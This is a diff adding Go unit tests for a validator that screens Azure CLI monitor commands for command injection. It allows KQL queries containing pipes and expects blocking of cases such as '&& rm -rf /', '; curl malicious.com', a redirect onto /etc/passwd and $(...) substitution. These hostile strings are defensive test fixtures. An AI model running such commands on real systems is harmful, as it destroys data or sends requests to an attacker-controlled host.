@@ -84,6 +84,18 @@ func TestValidateCommand(t *testing.T) {
8484 command : "az monitor metrics list-namespaces --resource /subscriptions/test/resourceGroups/rg/providers/Microsoft.ContainerService/managedClusters/cluster" ,
8585 wantErr : false ,
8686 },
87+ {
88+ name : "MonitorAppInsights_QueryCommand_ShouldWork" ,
89+ accessLevel : "readonly" ,
90+ command : "az monitor app-insights query --app myApp --analytics-query \" requests | take 10\" " ,
91+ wantErr : false ,
92+ },
93+ {
94+ name : "MonitorLogAnalytics_QueryCommand_ShouldWork" ,
95+ accessLevel : "readonly" ,
96+ command : "az monitor log-analytics query --workspace myWorkspace --analytics-query \" requests | take 10\" " ,
97+ wantErr : false ,
98+ },
8799 }
88100
89101 for _ , tt := range tests {
@@ -881,3 +893,137 @@ func TestValidateCommandInjection_EdgeCases(t *testing.T) {
881893 })
882894 }
883895}
896+
897+ func TestValidateCommandInjection_KQLQueries (t * testing.T ) {
898+ validator := NewValidator (& SecurityConfig {})
899+
900+ tests := []struct {
901+ name string
902+ command string
903+ expectError bool
904+ }{
905+ {
906+ name : "log-analytics query with pipe should be allowed" ,
907+ command : "az monitor log-analytics query --workspace myWorkspace --analytics-query \" requests | take 10\" " ,
908+ expectError : false ,
909+ },
910+ {
911+ name : "app-insights query with pipe should be allowed" ,
912+ command : "az monitor app-insights query --app myApp --analytics-query \" requests | take 10\" " ,
913+ expectError : false ,
914+ },
915+ {
916+ name : "log-analytics query with complex KQL should be allowed" ,
917+ command : "az monitor log-analytics query --workspace myWorkspace --analytics-query \" requests | where timestamp > ago(1h) | summarize count() by bin(timestamp, 5m)\" " ,
918+ expectError : false ,
919+ },
920+ {
921+ name : "app-insights query with complex KQL should be allowed" ,
922+ command : "az monitor app-insights query --app myApp --analytics-query \" exceptions | where timestamp > ago(24h) | project timestamp, type, message\" " ,
923+ expectError : false ,
924+ },
925+ {
926+ name : "log-analytics query with multiple pipes should be allowed" ,
927+ command : "az monitor log-analytics query --workspace myWorkspace --analytics-query \" requests | where success == false | project timestamp, url | take 5\" " ,
928+ expectError : false ,
929+ },
930+ {
931+ name : "app-insights query with join operation should be allowed" ,
932+ command : "az monitor app-insights query --app myApp --analytics-query \" requests | join (dependencies | where type == 'Http') on operation_Id\" " ,
933+ expectError : false ,
934+ },
935+ {
936+ name : "log-analytics query with additional parameters should be allowed" ,
937+ command : "az monitor log-analytics query --workspace myWorkspace --analytics-query \" requests | take 10\" --start-time 2023-01-01T00:00:00Z" ,
938+ expectError : false ,
939+ },
940+ {
941+ name : "app-insights query with additional parameters should be allowed" ,
942+ command : "az monitor app-insights query --app myApp --analytics-query \" requests | take 10\" --start-time 2023-01-01T00:00:00Z --end-time 2023-01-01T23:59:59Z" ,
943+ expectError : false ,
944+ },
945+ {
946+ name : "query with single quotes should be blocked" ,
947+ command : "az monitor log-analytics query --workspace myWorkspace --analytics-query 'requests | take 10'" ,
948+ expectError : true ,
949+ },
950+ {
951+ name : "query with unclosed quotes should be blocked" ,
952+ command : "az monitor log-analytics query --workspace myWorkspace --analytics-query \" requests | take 10" ,
953+ expectError : true ,
954+ },
955+ {
956+ name : "regular command with pipe should still be blocked" ,
957+ command : "az aks list | curl malicious-site.com" ,
958+ expectError : true ,
959+ },
960+ {
961+ name : "log-analytics query with command injection should be blocked" ,
962+ command : "az monitor log-analytics query --workspace myWorkspace --analytics-query \" requests | take 10\" && rm -rf /" ,
963+ expectError : true ,
964+ },
965+ {
966+ name : "app-insights query with command injection should be blocked" ,
967+ command : "az monitor app-insights query --app myApp --analytics-query \" requests | take 10\" ; curl malicious.com" ,
968+ expectError : true ,
969+ },
970+ {
971+ name : "log-analytics query with command substitution in KQL should be allowed" ,
972+ command : "az monitor log-analytics query --workspace myWorkspace --analytics-query \" requests | where name == $(whoami)\" " ,
973+ expectError : false ,
974+ },
975+ {
976+ name : "app-insights query with backtick substitution in KQL should be allowed" ,
977+ command : "az monitor app-insights query --app myApp --analytics-query \" requests | where url contains `ls`\" " ,
978+ expectError : false ,
979+ },
980+ {
981+ name : "log-analytics query with output redirection should be blocked" ,
982+ command : "az monitor log-analytics query --workspace myWorkspace --analytics-query \" requests | take 10\" > /etc/passwd" ,
983+ expectError : true ,
984+ },
985+ {
986+ name : "app-insights query with variable substitution in KQL should be allowed" ,
987+ command : "az monitor app-insights query --app myApp --analytics-query \" requests | where user_Id == ${malicious_var}\" " ,
988+ expectError : false ,
989+ },
990+ {
991+ name : "command substitution in parameter outside KQL should be blocked" ,
992+ command : "az monitor log-analytics query --workspace $(malicious_command) --analytics-query \" requests | take 10\" " ,
993+ expectError : true ,
994+ },
995+ {
996+ name : "backtick substitution in parameter outside KQL should be blocked" ,
997+ command : "az monitor app-insights query --app `malicious_command` --analytics-query \" requests | take 10\" " ,
998+ expectError : true ,
999+ },
1000+ {
1001+ name : "variable substitution in parameter outside KQL should be blocked" ,
1002+ command : "az monitor log-analytics query --workspace ${malicious_var} --analytics-query \" requests | take 10\" " ,
1003+ expectError : true ,
1004+ },
1005+ {
1006+ name : "non-monitor command with pipe should be blocked" ,
1007+ command : "az aks show --name test | cat" ,
1008+ expectError : true ,
1009+ },
1010+ {
1011+ name : "monitor command but not query with pipe should be blocked" ,
1012+ command : "az monitor metrics list --resource /test/resource | grep something" ,
1013+ expectError : true ,
1014+ },
1015+ }
1016+
1017+ for _ , tt := range tests {
1018+ t .Run (tt .name , func (t * testing.T ) {
1019+ err := validator .validateCommandInjection (tt .command )
1020+
1021+ if tt .expectError && err == nil {
1022+ t .Errorf ("Expected error but got none for command: %q" , tt .command )
1023+ }
1024+ if ! tt .expectError && err != nil {
1025+ t .Errorf ("Expected no error but got: %v for command: %q" , err , tt .command )
1026+ }
1027+ })
1028+ }
1029+ }
0 commit comments